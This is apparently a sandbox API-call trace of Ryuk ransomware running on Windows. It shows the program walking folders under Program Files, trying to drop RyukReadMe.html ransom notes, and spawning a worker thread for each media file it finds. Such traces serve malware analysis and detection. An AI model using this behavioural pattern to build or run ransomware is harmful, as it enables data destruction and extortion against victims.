	[0224.800] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71018dde, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71018dde, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0x76, dwReserved1=0x0, cFileName="nav_uparrow.png", cAlternateFileName="")) returned 0
	[0224.800] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0224.800] SetLastError (dwErrCode=0x0) 
	[0224.801] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0224.801] GetLastError () returned 0x5
	[0224.801] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0224.801] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0224.801] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName="BabyGirl", cAlternateFileName="")) returned 1
	[0224.801] SetLastError (dwErrCode=0x0) 
	[0224.801] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0224.801] GetLastError () returned 0x5
	[0224.802] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0224.802] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0224.802] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0224.802] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0224.802] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72858c15, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72858c15, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xab3, dwReserved0=0x76, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1
	[0224.802] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.803] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa34
	[0224.805] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.805] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72858c15, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72858c15, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8a3, dwReserved0=0x76, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1
	[0224.806] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.806] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa38
	[0224.807] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.808] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7287ed72, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7287ed72, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x60f, dwReserved0=0x76, dwReserved1=0x0, cFileName="16_9-frame-image-mask.png", cAlternateFileName="")) returned 1
	[0224.808] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.809] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa3c
	[0224.810] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.811] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72832ab8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72832ab8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4c15, dwReserved0=0x76, dwReserved1=0x0, cFileName="babypink.png", cAlternateFileName="")) returned 1
	[0224.811] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.811] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa40
	[0224.813] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.814] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728a4ecf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728a4ecf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcc1b, dwReserved0=0x76, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1
	[0224.814] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.815] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa44
	[0224.817] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.817] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728cb02c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728cb02c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fe5c4f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2c432, dwReserved0=0x76, dwReserved1=0x0, cFileName="bear_formatted_matte2.wmv", cAlternateFileName="")) returned 1
	[0224.817] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.818] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa48
	[0224.820] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.820] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728f1189, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728f1189, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a058069, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2c44a, dwReserved0=0x76, dwReserved1=0x0, cFileName="Bear_Formatted_MATTE2_PAL.wmv", cAlternateFileName="")) returned 1
	[0224.821] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.821] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa4c
	[0224.823] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.824] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729172e6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729172e6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a351bc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39ef2, dwReserved0=0x76, dwReserved1=0x0, cFileName="bear_formatted_rgb6.wmv", cAlternateFileName="")) returned 1
	[0224.824] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.824] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa50
	[0224.929] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.950] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729635a0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729635a0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x41c0a, dwReserved0=0x76, dwReserved1=0x0, cFileName="Bear_Formatted_RGB6_PAL.wmv", cAlternateFileName="")) returned 1
	[0224.950] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.950] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa54
	[0224.955] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.956] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729af85a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729af85a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdc5, dwReserved0=0x76, dwReserved1=0x0, cFileName="btn-back-static.png", cAlternateFileName="")) returned 1
	[0224.956] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.957] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa58
	[0224.962] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.963] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729af85a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729af85a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdfc, dwReserved0=0x76, dwReserved1=0x0, cFileName="btn-next-static.png", cAlternateFileName="")) returned 1
	[0224.963] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.964] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa5c
	[0224.965] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.966] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xe0b, dwReserved0=0x76, dwReserved1=0x0, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 1
	[0224.966] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.967] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa60
	[0224.968] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.968] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a39de7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x75d, dwReserved0=0x76, dwReserved1=0x0, cFileName="button-highlight.png", cAlternateFileName="")) returned 1
	[0224.968] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.969] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa64
	[0224.971] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.972] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a39de7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x55f, dwReserved0=0x76, dwReserved1=0x0, cFileName="chapters-static.png", cAlternateFileName="")) returned 1
	[0224.972] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.973] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa68
	[0224.974] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.975] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729fbb14, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729fbb14, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4aba6851, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8df12, dwReserved0=0x76, dwReserved1=0x0, cFileName="content-background.png", cAlternateFileName="")) returned 1
	[0224.975] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.976] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa6c
	[0224.979] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.980] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a47dce, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a47dce, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b362f69, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2f0, dwReserved0=0x76, dwReserved1=0x0, cFileName="content-foreground.png", cAlternateFileName="")) returned 1
	[0224.980] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.980] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa70
	[0224.983] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.983] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a6df2b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a6df2b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b362f69, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb8c4, dwReserved0=0x76, dwReserved1=0x0, cFileName="curtains.png", cAlternateFileName="")) returned 1
	[0224.984] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.985] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa74
	[0224.987] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.988] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b52759, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b52759, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b3fb4e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12d98, dwReserved0=0x76, dwReserved1=0x0, cFileName="flower_precomp_matte.wmv", cAlternateFileName="")) returned 1
	[0224.988] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0224.989] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa78
	[0225.109] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.133] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b52759, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b52759, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b3fb4e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x14cd8, dwReserved0=0x76, dwReserved1=0x0, cFileName="flower_PreComp_MATTE_PAL.wmv", cAlternateFileName="")) returned 1
	[0225.133] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.134] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa7c
	[0225.139] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.140] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b788b6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b788b6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b42163f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x26618, dwReserved0=0x76, dwReserved1=0x0, cFileName="flower_trans_matte.wmv", cAlternateFileName="")) returned 1
	[0225.140] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.141] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa80
	[0225.145] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.146] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b9ea13, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b9ea13, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b42163f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x28558, dwReserved0=0x76, dwReserved1=0x0, cFileName="flower_trans_MATTE_PAL.wmv", cAlternateFileName="")) returned 1
	[0225.146] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.147] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa84
	[0225.148] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.149] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b0649f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b0649f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b44779d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e31e, dwReserved0=0x76, dwReserved1=0x0, cFileName="flower_trans_rgb.wmv", cAlternateFileName="")) returned 1
	[0225.149] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0225.150] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa88
	[0225.151] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.152] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b2c5fc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b2c5fc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5c4549, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39e98, dwReserved0=0x76, dwReserved1=0x0, cFileName="flower_trans_RGB_PAL.wmv", cAlternateFileName="")) returned 1
	[0225.152] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
